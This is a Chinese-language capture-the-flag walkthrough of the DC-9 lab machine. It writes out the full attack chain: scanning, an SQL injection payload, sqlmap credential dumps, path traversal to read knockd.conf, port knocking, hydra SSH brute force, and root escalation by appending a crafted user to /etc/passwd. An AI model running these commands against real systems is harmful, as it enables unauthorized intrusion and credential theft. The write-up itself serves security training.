DC-9靶机通关笔记

一、主机发现

复制代码
arp-scan -l

靶机ip为192.168.55.159

二、端口扫描、目录枚举、漏洞扫描、指纹识别

2.1端口扫描

复制代码
nmap --min-rate 10000 -p- 192.168.55.159

发现只开放了80端口,看来要在网页中进行信息收集了

很奇怪的是22端口没有开放

UDP端口扫描

复制代码
nmap -sU --min-rate 10000 -p- 192.168.55.159

靶机没有开放UDP端口

2.2目录枚举

复制代码
dirb http://192.168.55.159

扫出来了很多目录,访问后没啥信息

2.3漏洞扫描

复制代码
nmap --script=vuln -p22,80 192.168.55.159

无明显漏洞

2.4指纹识别

复制代码
nmap 192.168.55.159 -sV -sC -O --version-all

三、进入靶机网站寻找信息,找到低权限账号

访问靶机网页寻找信息

3.1SQL注入

靶机的第二个页面是成员信息,说明有数据库,第三和第四个页面中均含有输入框,尝试sql注入

经过尝试,在第三个页面中的搜索框中存在sql注入

复制代码
1' or 1=1 #

抓包发现注入的参数是search

这边使用sqlmap进行注入了

爆数据库名:

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' --dbs

先看users里面的表

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users --tables

找到了一张表,下面就是爆破字段名

复制代码
 sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users -T UserDetails --columns

下面就是爆破数据

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users -T UserDetails -C username,password --dump

有了账号密码,我们可以去第四个页面进行登陆了

经过尝试,这些都进不去,试试其它的表

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D Staff -T Users -C Password,Username --dump

发现这张表中是admin账号,试试md5解密

密码为:transorbital1

3.2端口敲门

成功登陆后发现多了两个功能点

发现在"Mangage"页面中有提示性信息

尝试一下文件包含

真的存在文件包含

由于22端口是关闭状态,我们需要端口敲门使其开放

通过文件包含可以寻找端口敲门的信息

复制代码
http://192.168.55.159/manage.php?file=../../../../../../etc/knockd.conf

找到了端口敲门的顺序:7469,8475,9842

端口敲门:

复制代码
knock -v 192.168.55.159 7469 8475 9842
nmap -p- 192.168.55.159

22端口成功打开

3.3使用hydra爆破ssh账号密码

将sqlmap爆出来的账号密码作为字典,使用hydra进行ssh服务爆破

首先将内容使用cut命令分割开

复制代码
cat 1.txt | cut -d "|" -f 2 > 2.txt
cat 1.txt | cut -d "|" -f 3 > 3.txt

接着使用hydra进行爆破

复制代码
hydra -L 2.txt -P 3.txt ssh://192.168.55.159

成功找到三个账号密码

四、提权

进入账号中,在janitor账号中找到了隐藏信息

找到了新的密码,继续使用刚刚的user进行爆破

成功爆破出了一个新的账号

登陆该账号

4.1靶机信息收集

4.2sudo提权

随后使用sudo命令查找有无高权限的文件

复制代码
sudo -l

找到了一个test文件

执行一下test文件,提示我们要去 test.py 文件看使用方法

这个程序需要我们提供两个参数,第一个参数是追加的内容,第二个参数是追加的文件

这里提权的方法就很多了,我这里采用的是新建一个root权限的用户,将用户信息追加到/etc/passwd中,然后切换该用户即可

复制代码
openssl passwd -1 -salt 123456 123456
cd /tmp  # 不在tmp目录下echo输出的不对
echo 'pp:$1$123456$wOSEtcyiP2N/IfIl15W6Z0:0:0::/root:/bin/bash' > pp
sudo /opt/devstuff/dist/test/test pp /etc/passwd

密码输入123456即可成功提权!

相关推荐
wanhengidc18 小时前
云手机 无限畅玩手游 巨 椰
运维·服务器·网络·游戏·智能手机
DKPT18 小时前
JVM直接内存和堆内存比例如何设置?
java·jvm·笔记·学习·spring
Sylvia@88818 小时前
19.管理基本存储
linux·运维·1024程序员节
文火冰糖的硅基工坊18 小时前
[嵌入式系统-150]:智能机器人(具身智能)内部的嵌入式系统以及各自的功能、硬件架构、操作系统、软件架构
android·linux·算法·ubuntu·机器人·硬件架构
susu108301891119 小时前
ubuntu 查看文件夹占了多大
linux·运维·ubuntu
回忆是昨天里的海19 小时前
k8s部署容器化应用-tomcat
云原生·容器·kubernetes·1024程序员节
小涵19 小时前
第 01 天:Linux 是什么?内核、发行版及其生态系统
linux·运维·devops·1024程序员节·sre
sulikey19 小时前
Qt 入门简洁笔记:信号与槽
前端·c++·笔记·qt·前端框架·1024程序员节·qt框架
hhhh明19 小时前
Google Drive 超大文件下载到服务器
服务器·网络·google drive
不惑_19 小时前
如何使用 Ansible 安装 Docker
docker·github·ansible